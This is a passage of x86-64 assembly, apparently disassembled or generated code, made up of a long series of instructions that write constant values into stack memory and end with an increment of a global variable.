mov dword [rsp + 0x54f0], 0x1635
mov dword [rsp + 0x54f4], 0xf223
mov eax, 0x465
mov word [rsp + 0x1988], ax
mov eax, 0x984
mov word [rsp + 0x198c], ax
mov eax, 0x146
mov word [rsp + 0x1990], ax
mov eax, 0x5a3
mov word [rsp + 0x1994], ax
mov byte [rsp + 0x318], 0x61
movabs rax, 0x77012f8ed3d371
mov qword [rsp + 0xac68], rax
mov dword [rsp + 0x54f8], 0x56e
movabs rax, 0x7730973ba0bfaf
mov qword [rsp + 0xac70], rax
mov eax, 0x313
mov word [rsp + 0x1998], ax
mov eax, 0xfb1
mov word [rsp + 0x199c], ax
movabs rax, 0x7e9c66c2592325
mov qword [rsp + 0xac78], rax
mov eax, 0x6c
mov word [rsp + 0x19a0], ax
mov byte [rsp + 0x319], 0xae
mov eax, 0x15b
mov word [rsp + 0x19a4], ax
mov eax, 0x77f
mov word [rsp + 0x19a8], ax
movabs rax, 0x7b140bfcae78b9
mov qword [rsp + 0xac80], rax
mov eax, 0x554
mov word [rsp + 0x19ac], ax
mov dword [rsp + 0x54fc], 0x28dd
mov byte [rsp + 0x31a], 0x4a
movabs rax, 0x733e9421a7f56c
mov qword [rsp + 0xac88], rax
movabs rax, 0x7cf540bbf16657
mov qword [rsp + 0xac90], rax
movabs rax, 0x701153e2894d0e
mov qword [rsp + 0xac98], rax
mov dword [rsp + 0x5500], 0x1700
mov byte [rsp + 0x31b], 0xfa
mov eax, 0x133
mov word [rsp + 0x19b0], ax
movabs rax, 0x77d40cd64bd633
mov qword [rsp + 0xaca0], rax
mov eax, 0x394
mov word [rsp + 0x19b4], ax
mov dword [rsp + 0x5504], 0x574c
movabs rax, 0x71980a28eb500a
mov qword [rsp + 0xaca8], rax
mov byte [rsp + 0x31c], 0xb7
mov dword [rsp + 0x5508], 0x6864
movabs rax, 0x74c25af04f0511
mov qword [rsp + 0xacb0], rax
mov byte [rsp + 0x31d], 0x25
movabs rax, 0x775869b57e69ca
mov qword [rsp + 0xacb8], rax
mov eax, 0xc8
mov word [rsp + 0x19b8], ax
mov byte [rsp + 0x31e], 0xfa
mov dword [rsp + 0x550c], 0x9fa9
mov dword [rsp + 0x5510], 0x1f8
mov dword [rsp + 0x5514], 0xd82d
movabs rax, 0x761a8623bb07e6
mov qword [rsp + 0xacc0], rax
movabs rax, 0x7c1cb8a5438458
mov qword [rsp + 0xacc8], rax
movabs rax, 0x742c95530b7e82
mov qword [rsp + 0xacd0], rax
mov dword [rsp + 0x5518], 0x5bcc
mov byte [rsp + 0x31f], 0x5f
mov eax, 0x219
mov word [rsp + 0x19bc], ax
mov byte [rsp + 0x320], 0x60
movabs rax, 0x72cf135696b2ea
mov qword [rsp + 0xacd8], rax
mov dword [rsp + 0x551c], 0x5d5f
movabs rax, 0x7eba79c92d0741
mov qword [rsp + 0xace0], rax
mov dword [rsp + 0x5520], 0x91e
mov dword [rsp + 0x5524], 0x1bb6
movabs rax, 0x782d9cfb9b10dc
mov qword [rsp + 0xace8], rax
movabs rax, 0x772ccb1a5edfc9
mov qword [rsp + 0xacf0], rax
mov eax, 0xaf
mov word [rsp + 0x19c0], ax
mov dword [rsp + 0x5528], 0x339d
mov dword [rsp + 0x552c], 0xfa9b
movabs rax, 0x7bbf3f39032a78
mov qword [rsp + 0xacf8], rax
mov dword [rsp + 0x5530], 0x3fe2
mov eax, 0x765
mov word [rsp + 0x19c4], ax
mov byte [rsp + 0x321], 0x89
movabs rax, 0x7715eb2b517066
mov qword [rsp + 0xad00], rax
mov byte [rsp + 0x322], 0x27
mov byte [rsp + 0x323], 0xb
movabs rax, 0x70863b8951cea0
mov qword [rsp + 0xad08], rax
movabs rax, 0x7cca092981650b
mov qword [rsp + 0xad10], rax
movabs rax, 0x71826dc31edfda
mov qword [rsp + 0xad18], rax
movabs rax, 0x766d63c39acdd7
mov qword [rsp + 0xad20], rax
mov byte [rsp + 0x324], 0x7d
mov byte [rsp + 0x325], 0xc6
mov byte [rsp + 0x326], 0x9a
movabs rax, 0x79d0d595f6c07e
mov qword [rsp + 0xad28], rax
movabs rax, 0x7c399ebb907f2c
mov qword [rsp + 0xad30], rax
mov byte [rsp + 0x327], 0x3b
mov dword [rsp + 0x5534], 0x11bc
movabs rax, 0x7899adfee2f228
mov qword [rsp + 0xad38], rax
mov eax, 0x229
mov word [rsp + 0x19c8], ax
movabs rax, 0x7e2374b1a0e5c7
mov qword [rsp + 0xad40], rax
movabs rax, 0x724944ec6a3193
mov qword [rsp + 0xad48], rax
mov dword [rsp + 0x5538], 0x2831
mov dword [rsp + 0x553c], 0x7993
mov eax, 0x367
mov word [rsp + 0x19cc], ax
movabs rax, 0x79c7a3011d4638
mov qword [rsp + 0xad50], rax
mov byte [rsp + 0x328], 0x61
movabs rax, 0x7c78a5e2898ec5
mov qword [rsp + 0xad58], rax
mov dword [rsp + 0x5540], 0xf9e1
mov eax, 0x4c2
mov word [rsp + 0x19d0], ax
mov byte [rsp + 0x329], 0x92
movabs rax, 0x724da54472ba96
mov qword [rsp + 0xad60], rax
mov dword [rsp + 0x5544], 0x2ae8
mov dword [rsp + 0x5548], 0x10e2
movabs rax, 0x7e0dcd29dc1f3d
mov qword [rsp + 0xad68], rax
mov byte [rsp + 0x32a], 0x69
movabs rax, 0x706b4bbda482a6
mov qword [rsp + 0xad70], rax
movabs rax, 0x708b50fc6bb794
mov qword [rsp + 0xad78], rax
movabs rax, 0x7e4a4e6b946fd1
mov qword [rsp + 0xad80], rax
mov byte [rsp + 0x32b], 0x7a
mov dword [rsp + 0x554c], 0x15a2
mov eax, 0x11f
mov word [rsp + 0x19d4], ax
mov dword [rsp + 0x5550], 0x77a
mov eax, 0xeaf
mov word [rsp + 0x19d8], ax
mov dword [rsp + 0x5554], 0xcc9
mov eax, 0x64a
mov word [rsp + 0x19dc], ax
movabs rax, 0x77a05f7aeff6c5
mov qword [rsp + 0xad88], rax
mov dword [rsp + 0x5558], 0x3d4c
mov byte [rsp + 0x32c], 0x43
movabs rax, 0x76ee92d1099b8a
mov qword [rsp + 0xad90], rax
movabs rax, 0x7a6762ed21ba41
mov qword [rsp + 0xad98], rax
movabs rax, 0x77786d3b90b10c
mov qword [rsp + 0xada0], rax
movabs rax, 0x77ff14f6fb8ff2
mov qword [rsp + 0xada8], rax
mov dword [rsp + 0x555c], 0xf7ac
mov byte [rsp + 0x32d], 0x76
mov dword [rsp + 0x5560], 0xf05d
movabs rax, 0x703e5a367d6627
mov qword [rsp + 0xadb0], rax
mov dword [rsp + 0x5564], 0x7f42
movabs rax, 0x799e0ac4a997ff
mov qword [rsp + 0xadb8], rax
mov dword [rsp + 0x5568], 0xd8c
mov dword [rsp + 0x556c], 0x2f82
mov eax, 0x4f7
mov word [rsp + 0x19e0], ax
mov eax, 0xf24
mov word [rsp + 0x19e4], ax
mov byte [rsp + 0x32e], 0x51
mov byte [rsp + 0x32f], 0xe
movabs rax, 0x7b2c7e85c55d31
mov qword [rsp + 0xadc0], rax
movabs rax, 0x760faca87dcc59
mov qword [rsp + 0xadc8], rax
mov byte [rsp + 0x330], 0x6d
movabs rax, 0x7c14787f8528b8
mov qword [rsp + 0xadd0], rax
mov dword [rsp + 0x5570], 0x75d3
movabs rax, 0x76369bbe7bb61a
mov qword [rsp + 0xadd8], rax
mov byte [rsp + 0x331], 0xc
movabs rax, 0x778fcc4e7299eb
mov qword [rsp + 0xade0], rax
movabs rax, 0x7c5bbd2d5675b0
mov qword [rsp + 0xade8], rax
mov eax, 0x326
mov word [rsp + 0x19e8], ax
mov byte [rsp + 0x332], 0x79
mov byte [rsp + 0x333], 0xb
mov dword [rsp + 0x5574], 0x47d6
mov dword [rsp + 0x5578], 0x7d12
mov dword [rsp + 0x557c], 0x496d
mov eax, 0x96e
mov word [rsp + 0x19ec], ax
mov dword [rsp + 0x5580], 0x9b8a
mov dword [rsp + 0x5584], 0x4c32
mov byte [rsp + 0x334], 0x46
mov eax, 0xe7f
mov word [rsp + 0x19f0], ax
mov eax, 0xc14
mov word [rsp + 0x19f4], ax
mov eax, 0xefe
mov word [rsp + 0x19f8], ax
mov dword [rsp + 0x5588], 0x4caf
mov dword [rsp + 0x558c], 0x71b1
movabs rax, 0x75a17f5fede944
mov qword [rsp + 0xadf0], rax
mov eax, 0x7f2
mov word [rsp + 0x19fc], ax
mov eax, 0x4f3
mov word [rsp + 0x1a00], ax
mov byte [rsp + 0x335], 0x78
mov dword [rsp + 0x5590], 0x3c87
mov eax, 0x729
mov word [rsp + 0x1a04], ax
mov eax, 0xf3c
mov word [rsp + 0x1a08], ax
mov eax, 0x896
mov word [rsp + 0x1a0c], ax
mov eax, 0x563
mov word [rsp + 0x1a10], ax
mov eax, 0x469
mov word [rsp + 0x1a14], ax
mov dword [rsp + 0x5594], 0x9b00
mov dword [rsp + 0x5598], 0x9663
mov dword [rsp + 0x559c], 0x66db
mov byte [rsp + 0x336], 0x1c
movabs rax, 0x79976c953b1f0d
mov qword [rsp + 0xadf8], rax
mov eax, 0x9b6
mov word [rsp + 0x1a18], ax
mov dword [rsp + 0x55a0], 0xc6d2
mov eax, 0xd6
mov word [rsp + 0x1a1c], ax
mov dword [rsp + 0x55a4], 0x5f44
mov eax, 0x308
mov word [rsp + 0x1a20], ax
movabs rax, 0x798900f9c1a8e8
mov qword [rsp + 0xae00], rax
movabs rax, 0x771699763650bc
mov qword [rsp + 0xae08], rax
mov eax, 0x5f3
mov word [rsp + 0x1a24], ax
movabs rax, 0x7edc15536a31f7
mov qword [rsp + 0xae10], rax
mov eax, 0x292
mov word [rsp + 0x1a28], ax
mov eax, 0x1c4
mov word [rsp + 0x1a2c], ax
movabs rax, 0x7a733face4c31d
mov qword [rsp + 0xae18], rax
mov byte [rsp + 0x337], 0x55
mov byte [rsp + 0x338], 3
mov eax, 0x4a8
mov word [rsp + 0x1a30], ax
mov byte [rsp + 0x339], 0x22
mov dword [rsp + 0x55a8], 0x7cc6
mov dword [rsp + 0x55ac], 0x6689
mov dword [rsp + 0x55b0], 0x6bde
movabs rax, 0x70d0a535272c23
mov qword [rsp + 0xae20], rax
mov eax, 0x20b
mov word [rsp + 0x1a34], ax
movabs rax, 0x700aa9917c7aa8
mov qword [rsp + 0xae28], rax
mov byte [rsp + 0x33a], 0x2d
movabs rax, 0x7a2da9527f581f
mov qword [rsp + 0xae30], rax
mov dword [rsp + 0x55b4], 0x30d3
movabs rax, 0x71d08aa1988c3d
mov qword [rsp + 0xae38], rax
movabs rax, 0x796bdc283afb00
mov qword [rsp + 0xae40], rax
movabs rax, 0x7a146a61c68aeb
mov qword [rsp + 0xae48], rax
movabs rax, 0x73c5a7e17550ee
mov qword [rsp + 0xae50], rax
mov dword [rsp + 0x55b8], 0xcd0d
mov eax, 0x6c4
mov word [rsp + 0x1a38], ax
mov byte [rsp + 0x33b], 0x84
mov dword [rsp + 0x55bc], 0x6693
mov dword [rsp + 0x55c0], 0x7945
mov byte [rsp + 0x33c], 0x78
mov byte [rsp + 0x33d], 0xde
movabs rax, 0x78dbae44772aab
mov qword [rsp + 0xae58], rax
movabs rax, 0x736c66583c76ec
mov qword [rsp + 0xae60], rax
mov eax, 0x975
mov word [rsp + 0x1a3c], ax
movabs rax, 0x7053520618b560
mov qword [rsp + 0xae68], rax
movabs rax, 0x743b56b79a14d4
mov qword [rsp + 0xae70], rax
mov dword [rsp + 0x55c4], 0x5a0a
movabs rax, 0x7685ccb17796c8
mov qword [rsp + 0xae78], rax
movabs rax, 0x729d224fa2615f
mov qword [rsp + 0xae80], rax
mov dword [rsp + 0x55c8], 0x51c0
mov eax, 0x50
mov word [rsp + 0x1a40], ax
mov byte [rsp + 0x33e], 0xb0
mov dword [rsp + 0x55cc], 0x187
mov eax, 0x639
mov word [rsp + 0x1a44], ax
mov eax, 0x70a
mov word [rsp + 0x1a48], ax
mov dword [rsp + 0x55d0], 0x1f91
mov byte [rsp + 0x33f], 0x5e
mov dword [rsp + 0x55d4], 0x1edd
mov eax, 0xe83
mov word [rsp + 0x1a4c], ax
mov dword [rsp + 0x55d8], 0x9e1
mov eax, 0x1a1
mov word [rsp + 0x1a50], ax
mov eax, 0x55b
mov word [rsp + 0x1a54], ax
mov eax, 0x12
mov word [rsp + 0x1a58], ax
mov eax, 0x5f0
mov word [rsp + 0x1a5c], ax
mov byte [rsp + 0x340], 0xf6
mov eax, 0x2ea
mov word [rsp + 0x1a60], ax
movabs rax, 0x7d9fd79cb2113c
mov qword [rsp + 0xae88], rax
movabs rax, 0x75305d9ecc3d96
mov qword [rsp + 0xae90], rax
mov dword [rsp + 0x55dc], 0x6226
mov dword [rsp + 0x55e0], 0x6ba3
movabs rax, 0x79c82b00bc648f
mov qword [rsp + 0xae98], rax
movabs rax, 0x70f90b91d0593b
mov qword [rsp + 0xaea0], rax
mov byte [rsp + 0x341], 0xba
mov dword [rsp + 0x55e4], 0x4ab2
mov dword [rsp + 0x55e8], 0x8bbd
mov dword [rsp + 0x55ec], 0x3945
movabs rax, 0x7ea6c194745cb9
mov qword [rsp + 0xaea8], rax
mov byte [rsp + 0x342], 0x1b
movabs rax, 0x700f573aadd86c
mov qword [rsp + 0xaeb0], rax
mov dword [rsp + 0x55f0], 0x4b15
mov eax, 0x4a9
mov word [rsp + 0x1a64], ax
mov byte [rsp + 0x343], 0x7c
mov dword [rsp + 0x55f4], 0x6e7f
mov eax, 0x721
mov word [rsp + 0x1a68], ax
mov dword [rsp + 0x55f8], 0x1bad
movabs rax, 0x7c7d20d585d616
mov qword [rsp + 0xaeb8], rax
mov eax, 0xc1a
mov word [rsp + 0x1a6c], ax
mov eax, 0xf30
mov word [rsp + 0x1a70], ax
movabs rax, 0x7b971985af398f
mov qword [rsp + 0xaec0], rax
mov dword [rsp + 0x55fc], 0x19c0
movabs rax, 0x7c44cf04930f85
mov qword [rsp + 0xaec8], rax
movabs rax, 0x763e3714b73858
mov qword [rsp + 0xaed0], rax
movabs rax, 0x747fbfe176594f
mov qword [rsp + 0xaed8], rax
mov eax, 0x1e5
mov word [rsp + 0x1a74], ax
mov dword [rsp + 0x5600], 0x20a2
mov eax, 0x225
mov word [rsp + 0x1a78], ax
mov eax, 0x761
mov word [rsp + 0x1a7c], ax
mov byte [rsp + 0x344], 0x4b
mov byte [rsp + 0x345], 8
mov byte [rsp + 0x346], 0xa3
mov byte [rsp + 0x347], 0x40
mov dword [rsp + 0x5604], 0x89c1
movabs rax, 0x719438253741e1
mov qword [rsp + 0xaee0], rax
movabs rax, 0x780d9b7b2e00b5
mov qword [rsp + 0xaee8], rax
mov byte [rsp + 0x348], 0xa6
mov byte [rsp + 0x349], 0x20
mov byte [rsp + 0x34a], 0x68
mov byte [rsp + 0x34b], 0x14
mov dword [rsp + 0x5608], 0x49c3
mov eax, 0xe69
mov word [rsp + 0x1a80], ax
movabs rax, 0x79872455066b28
mov qword [rsp + 0xaef0], rax
mov eax, 0x784
mov word [rsp + 0x1a84], ax
movabs rax, 0x719f5fa175e0d2
mov qword [rsp + 0xaef8], rax
mov eax, 0x1c5
mov word [rsp + 0x1a88], ax
movabs rax, 0x739c97833f3144
mov qword [rsp + 0xaf00], rax
mov byte [rsp + 0x34c], 0x5c
movabs rax, 0x7c2b3ae0218efe
mov qword [rsp + 0xaf08], rax
mov eax, 0x23d
mov word [rsp + 0x1a8c], ax
movabs rax, 0x7122a086869940
mov qword [rsp + 0xaf10], rax
mov dword [rsp + 0x560c], 0x56dc
mov eax, 5
mov word [rsp + 0x1a90], ax
movabs rax, 0x75f7548796dd35
mov qword [rsp + 0xaf18], rax
movabs rax, 0x79f5f4cf6f679e
mov qword [rsp + 0xaf20], rax
mov eax, 0x7a3
mov word [rsp + 0x1a94], ax
mov dword [rsp + 0x5610], 0x42b9
mov dword [rsp + 0x5614], 0x759a
movabs rax, 0x75eb5082d8d013
mov qword [rsp + 0xaf28], rax
mov dword [rsp + 0x5618], 0x4a01
mov dword [rsp + 0x561c], 0x14d0
mov eax, 0xbf9
mov word [rsp + 0x1a98], ax
mov dword [rsp + 0x5620], 0x7380
mov dword [rsp + 0x5624], 0x57be
mov byte [rsp + 0x34d], 0x5d
movabs rax, 0x715615ab89b6dc
mov qword [rsp + 0xaf30], rax
mov eax, 0x3d1
mov word [rsp + 0x1a9c], ax
mov byte [rsp + 0x34e], 0x3b
movabs rax, 0x79448c57fc9ed9
mov qword [rsp + 0xaf38], rax
movabs rax, 0x7865cc8ef61e70
mov qword [rsp + 0xaf40], rax
mov byte [rsp + 0x34f], 0x90
mov dword [rsp + 0x5628], 0x2391
movabs rax, 0x7905e552dc4cb5
mov qword [rsp + 0xaf48], rax
mov byte [rsp + 0x350], 0x5e
movabs rax, 0x745701a8596630
mov qword [rsp + 0xaf50], rax
movabs rax, 0x7a2bb07ec68648
mov qword [rsp + 0xaf58], rax
movabs rax, 0x771afc07d65e42
mov qword [rsp + 0xaf60], rax
mov eax, 0x7a0
mov word [rsp + 0x1aa0], ax
mov eax, 0x2dc
mov word [rsp + 0x1aa4], ax
movabs rax, 0x71baa22d82f19a
mov qword [rsp + 0xaf68], rax
mov byte [rsp + 0x351], 5
movabs rax, 0x7ebec8fd0558cc
mov qword [rsp + 0xaf70], rax
movabs rax, 0x7a01bca0c95618
mov qword [rsp + 0xaf78], rax
mov dword [rsp + 0x562c], 0x2999
mov dword [rsp + 0x5630], 0x6d01
movabs rax, 0x7eaf7c599ee0c6
mov qword [rsp + 0xaf80], rax
mov dword [rsp + 0x5634], 0x2354
mov eax, 0x942
mov word [rsp + 0x1aa8], ax
movabs rax, 0x7cbf8da2f0e3e5
mov qword [rsp + 0xaf88], rax
mov eax, 0xf99
mov word [rsp + 0x1aac], ax
movabs rax, 0x7909f909e1cbff
mov qword [rsp + 0xaf90], rax
mov eax, 0x6a7
mov word [rsp + 0x1ab0], ax
mov eax, 0xebb
mov word [rsp + 0x1ab4], ax
mov eax, 0x530
mov word [rsp + 0x1ab8], ax
mov eax, 0x6d4
mov word [rsp + 0x1abc], ax
mov eax, 0x6ef
mov word [rsp + 0x1ac0], ax
movabs rax, 0x7afe62f23d38bc
mov qword [rsp + 0xaf98], rax
mov byte [rsp + 0x352], 0x92
mov byte [rsp + 0x353], 0xe2
mov byte [rsp + 0x354], 0x60
mov eax, 0x6ad
mov word [rsp + 0x1ac4], ax
mov eax, 0x2ea
mov word [rsp + 0x1ac8], ax
mov eax, 0xbb0
mov word [rsp + 0x1acc], ax
mov byte [rsp + 0x355], 0x10
mov eax, 0xb40
mov word [rsp + 0x1ad0], ax
mov dword [rsp + 0x5638], 0xdb18
mov dword [rsp + 0x563c], 0xd9e5
mov byte [rsp + 0x356], 0x19
mov byte [rsp + 0x357], 0x28
movabs rax, 0x7e01f32d3b0d4b
mov qword [rsp + 0xafa0], rax
mov byte [rsp + 0x358], 0x59
mov dword [rsp + 0x5640], 0x474a
mov eax, 0x50
mov word [rsp + 0x1ad4], ax
movabs rax, 0x7c389c45871f3f
mov qword [rsp + 0xafa8], rax
mov byte [rsp + 0x359], 0x9b
mov dword [rsp + 0x5644], 0x108e
mov dword [rsp + 0x5648], 0x74ae
mov eax, 0xd20
mov word [rsp + 0x1ad8], ax
mov byte [rsp + 0x35a], 0x85
mov dword [rsp + 0x564c], 0x31f6
movabs rax, 0x7b03bc0b2b4b8a
mov qword [rsp + 0xafb0], rax
mov byte [rsp + 0x35b], 0xe9
movabs rax, 0x78ac01e48b6225
mov qword [rsp + 0xafb8], rax
mov eax, 0x906
mov word [rsp + 0x1adc], ax
mov dword [rsp + 0x5650], 0x4fe
mov byte [rsp + 0x35c], 0xfa
mov dword [rsp + 0x5654], 0xa844
mov eax, 0x71b
mov word [rsp + 0x1ae0], ax
movabs rax, 0x775f06db4706be
mov qword [rsp + 0xafc0], rax
mov eax, 0x642
mov word [rsp + 0x1ae4], ax
movabs rax, 0x774a0b0ace4c2d
mov qword [rsp + 0xafc8], rax
mov byte [rsp + 0x35d], 0x6e
movabs rax, 0x76c6fb21aa8ac5
mov qword [rsp + 0xafd0], rax
movabs rax, 0x78ad05b4162eab
mov qword [rsp + 0xafd8], rax
mov eax, 0x184
mov word [rsp + 0x1ae8], ax
mov dword [rsp + 0x5658], 0x5118
movabs rax, 0x72904de3105567
mov qword [rsp + 0xafe0], rax
mov byte [rsp + 0x35e], 0x33
mov byte [rsp + 0x35f], 0x40
mov byte [rsp + 0x360], 0x45
mov dword [rsp + 0x565c], 0x6aaf
movabs rax, 0x7526ec11c4823f
mov qword [rsp + 0xafe8], rax
movabs rax, 0x742787a7661d91
mov qword [rsp + 0xaff0], rax
mov dword [rsp + 0x5660], 0x9d7a
mov byte [rsp + 0x361], 0xa1
movabs rax, 0x7a95dab849fec6
mov qword [rsp + 0xaff8], rax
mov dword [rsp + 0x5664], 0xe78d
movabs rax, 0x7cf0a5123070af
mov qword [rsp + 0xb000], rax
mov dword [rsp + 0x5668], 0x14c9
mov dword [rsp + 0x566c], 0x77a5
movabs rax, 0x7b2d326b0c49d6
mov qword [rsp + 0xb008], rax
mov dword [rsp + 0x5670], 0xdeb5
mov byte [rsp + 0x362], 0x62
mov dword [rsp + 0x5674], 0x5375
mov eax, 0x11f
mov word [rsp + 0x1aec], ax
mov eax, 0xf29
mov word [rsp + 0x1af0], ax
mov dword [rsp + 0x5678], 0x4069
mov eax, 0xfe6
mov word [rsp + 0x1af4], ax
mov byte [rsp + 0x363], 0x46
movabs rax, 0x74d937ec16c8e5
mov qword [rsp + 0xb010], rax
mov dword [rsp + 0x567c], 0xbca8
movabs rax, 0x773e65f0cfb37d
mov qword [rsp + 0xb018], rax
movabs rax, 0x72e9474c3ed601
mov qword [rsp + 0xb020], rax
mov eax, 0x467
mov word [rsp + 0x1af8], ax
mov dword [rsp + 0x5680], 0xa887
mov eax, 0x374
mov word [rsp + 0x1afc], ax
mov eax, 0x732
mov word [rsp + 0x1b00], ax
mov dword [rsp + 0x5684], 0x6e1f
mov eax, 0x9d6
mov word [rsp + 0x1b04], ax
movabs rax, 0x7c7d47422d3116
mov qword [rsp + 0xb028], rax
mov dword [rsp + 0x5688], 0x96b2
movabs rax, 0x71810879c9c53d
mov qword [rsp + 0xb030], rax
mov byte [rsp + 0x364], 0x4b
mov byte [rsp + 0x365], 0x6c
movabs rax, 0x73ca7e0d90bb5f
mov qword [rsp + 0xb038], rax
mov eax, 0xadf
mov word [rsp + 0x1b08], ax
mov eax, 0x1eb
mov word [rsp + 0x1b0c], ax
mov dword [rsp + 0x568c], 0x381b
mov dword [rsp + 0x5690], 0x9e9e
movabs rax, 0x759444e252f5c0
mov qword [rsp + 0xb040], rax
mov eax, 0xa96
mov word [rsp + 0x1b10], ax
mov byte [rsp + 0x366], 0x4d
mov eax, 0x171
mov word [rsp + 0x1b14], ax
movabs rax, 0x71d4b56d9ded1b
mov qword [rsp + 0xb048], rax
mov eax, 0x191
mov word [rsp + 0x1b18], ax
mov dword [rsp + 0x5694], 0x6d51
mov byte [rsp + 0x367], 0x26
mov byte [rsp + 0x368], 0xdf
mov dword [rsp + 0x5698], 0x4637
mov byte [rsp + 0x369], 0x13
movabs rax, 0x73dde018f404eb
mov qword [rsp + 0xb050], rax
movabs rax, 0x79e93b504657a2
mov qword [rsp + 0xb058], rax
movabs rax, 0x74cafc35273fe3
mov qword [rsp + 0xb060], rax
movabs rax, 0x7521f83b7f71c0
mov qword [rsp + 0xb068], rax
movabs rax, 0x71d923095fcee4
mov qword [rsp + 0xb070], rax
movabs rax, 0x74087d9a866b3c
mov qword [rsp + 0xb078], rax
movabs rax, 0x72ea2840cb4c96
mov qword [rsp + 0xb080], rax
mov eax, 0x2b3
mov word [rsp + 0x1b1c], ax
movabs rax, 0x726263df606d5c
mov qword [rsp + 0xb088], rax
movabs rax, 0x71610e884100ab
mov qword [rsp + 0xb090], rax
movabs rax, 0x7b2f9247a0778b
mov qword [rsp + 0xb098], rax
mov dword [rsp + 0x569c], 0x4fe
mov eax, 0x6ba
mov word [rsp + 0x1b20], ax
mov eax, 0xe0a
mov word [rsp + 0x1b24], ax
movabs rax, 0x75b11e4f802dce
mov qword [rsp + 0xb0a0], rax
movabs rax, 0x77961ddd1b47ed
mov qword [rsp + 0xb0a8], rax
mov eax, 0x83a
mov word [rsp + 0x1b28], ax
mov dword [rsp + 0x56a0], 0x2d96
mov eax, 0x42
mov word [rsp + 0x1b2c], ax
movabs rax, 0x7b860c86c48c56
mov qword [rsp + 0xb0b0], rax
mov dword [rsp + 0x56a4], 0x2627
movabs rax, 0x7e7be21a94daca
mov qword [rsp + 0xb0b8], rax
movabs rax, 0x7c4dc807f72b79
mov qword [rsp + 0xb0c0], rax
mov eax, 0x141
mov word [rsp + 0x1b30], ax
mov dword [rsp + 0x56a8], 0xa3c4
mov dword [rsp + 0x56ac], 0x7ae8
mov dword [rsp + 0x56b0], 0x1cf4
mov eax, 0x4e7
mov word [rsp + 0x1b34], ax
mov eax, 0x32e
mov word [rsp + 0x1b38], ax
movabs rax, 0x7951c10447c964
mov qword [rsp + 0xb0c8], rax
mov dword [rsp + 0x56b4], 0x6672
mov byte [rsp + 0x36a], 0x6b
mov eax, 0x614
mov word [rsp + 0x1b3c], ax
mov eax, 0x72c
mov word [rsp + 0x1b40], ax
movabs rax, 0x7ef65ae6f7715b
mov qword [rsp + 0xb0d0], rax
movabs rax, 0x7d889e2ccb473c
mov qword [rsp + 0xb0d8], rax
mov byte [rsp + 0x36b], 0x98
mov dword [rsp + 0x56b8], 0x7269
mov eax, 0x22a
mov word [rsp + 0x1b44], ax
mov dword [rsp + 0x56bc], 0x52a9
mov dword [rsp + 0x56c0], 0xd8e6
movabs rax, 0x704e3f9960caf8
mov qword [rsp + 0xb0e0], rax
movabs rax, 0x7396711c1bc400
mov qword [rsp + 0xb0e8], rax
mov eax, 0x711
mov word [rsp + 0x1b48], ax
mov byte [rsp + 0x36c], 0xe
movabs rax, 0x796809347e6d8a
mov qword [rsp + 0xb0f0], rax
mov eax, 0x57c
mov word [rsp + 0x1b4c], ax
movabs rax, 0x747cfc94cc8f9b
mov qword [rsp + 0xb0f8], rax
movabs rax, 0x734d8946a479e0
mov qword [rsp + 0xb100], rax
movabs rax, 0x729ce08147a331
mov qword [rsp + 0xb108], rax
mov byte [rsp + 0x36d], 0xa8
mov byte [rsp + 0x36e], 0x3a
movabs rax, 0x745a61309732f7
mov qword [rsp + 0xb110], rax
movabs rax, 0x790745526a72bb
mov qword [rsp + 0xb118], rax
mov dword [rsp + 0x56c4], 0xc885
mov eax, 0x863
mov word [rsp + 0x1b50], ax
movabs rax, 0x7b51971ce9c4e4
mov qword [rsp + 0xb120], rax
mov dword [rsp + 0x56c8], 0xd4fa
mov dword [rsp + 0x56cc], 0xcd37
mov dword [rsp + 0x56d0], 0xfdc0
mov byte [rsp + 0x36f], 0x2b
movabs rax, 0x736343364eaaa9
mov qword [rsp + 0xb128], rax
mov eax, 0x3b7
mov word [rsp + 0x1b54], ax
movabs rax, 0x73f9e7920eb53a
mov qword [rsp + 0xb130], rax
mov dword [rsp + 0x56d4], 0x5a64
mov eax, 0xd09
mov word [rsp + 0x1b58], ax
mov eax, 0x1c6
mov word [rsp + 0x1b5c], ax
mov dword [rsp + 0x56d8], 0x7a51
mov dword [rsp + 0x56dc], 0x301f
movabs rax, 0x70a8cbfa5523ac
mov qword [rsp + 0xb138], rax
mov byte [rsp + 0x370], 4
movabs rax, 0x76a17cd6700d06
mov qword [rsp + 0xb140], rax
mov dword [rsp + 0x56e0], 0x1c18
mov byte [rsp + 0x371], 0x27
movabs rax, 0x7681d2d8ef6c65
mov qword [rsp + 0xb148], rax
movabs rax, 0x789945322fb362
mov qword [rsp + 0xb150], rax
movabs rax, 0x73833a2cc4068e
mov qword [rsp + 0xb158], rax
mov eax, 0x57
mov word [rsp + 0x1b60], ax
movabs rax, 0x73a9611a83980d
mov qword [rsp + 0xb160], rax
movabs rax, 0x70a56f8a274f50
mov qword [rsp + 0xb168], rax
mov eax, 0x5af
mov word [rsp + 0x1b64], ax
mov dword [rsp + 0x56e4], 0x4e9d
mov byte [rsp + 0x372], 0x59
mov eax, 0x23f
mov word [rsp + 0x1b68], ax
mov eax, 0x715
mov word [rsp + 0x1b6c], ax
mov eax, 0xf6a
mov word [rsp + 0x1b70], ax
movabs rax, 0x7ad3d492e7d5d6
mov qword [rsp + 0xb170], rax
movabs rax, 0x74140cfd836fce
mov qword [rsp + 0xb178], rax
movabs rax, 0x703fe1b685a99d
mov qword [rsp + 0xb180], rax
mov byte [rsp + 0x373], 0xe6
movabs rax, 0x7b76bdbe2c3e6d
mov qword [rsp + 0xb188], rax
mov byte [rsp + 0x374], 0x5b
movabs rax, 0x78a947e6b23502
mov qword [rsp + 0xb190], rax
mov eax, 0x15b
mov word [rsp + 0x1b74], ax
mov dword [rsp + 0x56e8], 0xa8e5
mov byte [rsp + 0x375], 0x63
mov eax, 0x2ca
mov word [rsp + 0x1b78], ax
movabs rax, 0x7b754e5a5ce96d
mov qword [rsp + 0xb198], rax
movabs rax, 0x72a299d19a5eaf
mov qword [rsp + 0xb1a0], rax
mov eax, 0x7d5
mov word [rsp + 0x1b7c], ax
mov dword [rsp + 0x56ec], 0xe91f
movabs rax, 0x74cee02d3141d3
mov qword [rsp + 0xb1a8], rax
movabs rax, 0x73ae7aae6052d4
mov qword [rsp + 0xb1b0], rax
movabs rax, 0x7a65ee3f98ce39
mov qword [rsp + 0xb1b8], rax
mov dword [rsp + 0x56f0], 0x2d39
mov dword [rsp + 0x56f4], 0x21da
mov byte [rsp + 0x376], 0xe2
mov dword [rsp + 0x56f8], 0x26d9
mov dword [rsp + 0x56fc], 0xbb90
mov eax, dword [0x1401a8370]
add eax, 0x7275
mov dword [0x1401a8370], eax
